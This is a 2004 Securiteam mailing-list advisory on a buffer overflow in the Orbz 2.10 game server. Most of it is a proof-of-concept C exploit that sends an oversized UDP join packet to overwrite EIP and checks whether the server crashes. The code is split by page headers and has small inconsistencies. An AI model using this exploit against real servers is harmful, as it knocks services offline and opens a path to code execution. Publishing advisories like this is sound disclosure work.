

[NT] Orbz Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0106.html>

From: Securiteam (support_at_securiteam.com)

Date: 11/30/04

To: list@securiteam.com

Date: 30 Nov 2004 17:43:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the Securiteam web site: <http://www.securiteam.com>

-- promotion

The Securiteam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Orbz Buffer Overflow

SUMMARY

<<http://www.21-6.com>> Orbz is a "nice game developed by 21-6 Productions and released at December 2002". A buffer overflow vulnerability exists in the password field of the join packet, this bug can be exploited versus both protected servers and not.

DETAILS

Vulnerable Systems:

* Orbz version 2.10

Exploit:

/*

by Luigi Auriemma – <http://alugi.altervista.org/poc/orbzbof.zip>

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
```

Securiteam: [NT] Orbz Buffer Overflow

```
#include "rwbits.h"

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define PORT 28000
#define BUFFSZ 2048
#define TIMEOUT 3
#define EIP "\xde\xcd\xad\xde"
#define BOF "aaaaaaaaaaaaaaaaaaaaa" \
    EIP \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaa" \
    /* max 255 */

int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_long bits;
    int sd,
        i,
        len;
    u_short port = PORT;
    u_char buff[BUFFSZ];
    struct sockaddr_in peer;

    srand(time(NULL));
    setbuf(stdout, NULL);

    fputs("\n"
        "Orbz <= 2.10 buffer-overflow "VER"\n"
```

Securiteam: [NT] Orbz Buffer Overflow

```
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
    printf("\n"
        "Usage: %s <host> [port(%d)]\n"
        "\n", argv[0], port);
    exit(1);
}

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
    inet_ntoa(peer.sin_addr),
    port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

fputs("- ping server: ", stdout);
if(sendto(sd, "\x1a", 1, 0, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

if(timeout(sd) < 0) {
    fputs("\n"
        "Error: no reply received, probably the server is not
online\n"
        "\n", stdout);
    exit(1);
}
len = recvfrom(sd, buff, BUFSZ, 0, NULL, NULL);
if(len < 0) std_err();

if(*buff != 0x1c) {
    fputs("bad reply, however I continue\n", stdout);
} else {
    fputs("ok\n", stdout);
}
```

Securiteam: [NT] Orbz Buffer Overflow

```
memset(buff, 0x00, BUFSZ); /* not needed */
bits = write_bits(0x1a, 8, buff, 0);
bits = write_bits(9, 32, buff, bits);
bits = write_bits(0xffffffff, 32, buff, bits);
bits = write_bits(rand(), 32, buff, bits);
bits++;
bits = write_bits(sizeof(BOF) - 1, 8, buff, bits);
for(i = 0; i < (sizeof(BOF) - 1); i++) {
    bits = write_bits(BOF[i], 8, buff, bits);
}
len = bits >> 3;
if(bits & 7) len++;

printf("- send BOOM packet, EIP = 0x%08lx\n", *(u_long *)EIP);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

close(sd);
return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
        }
    }
}
```

Securiteam: [NT] Orbz Buffer Overflow

```
        exit(1);
    } else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/orzbof-adv.txt>>

<http://aluigi.altervista.org/adv/orzbof-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.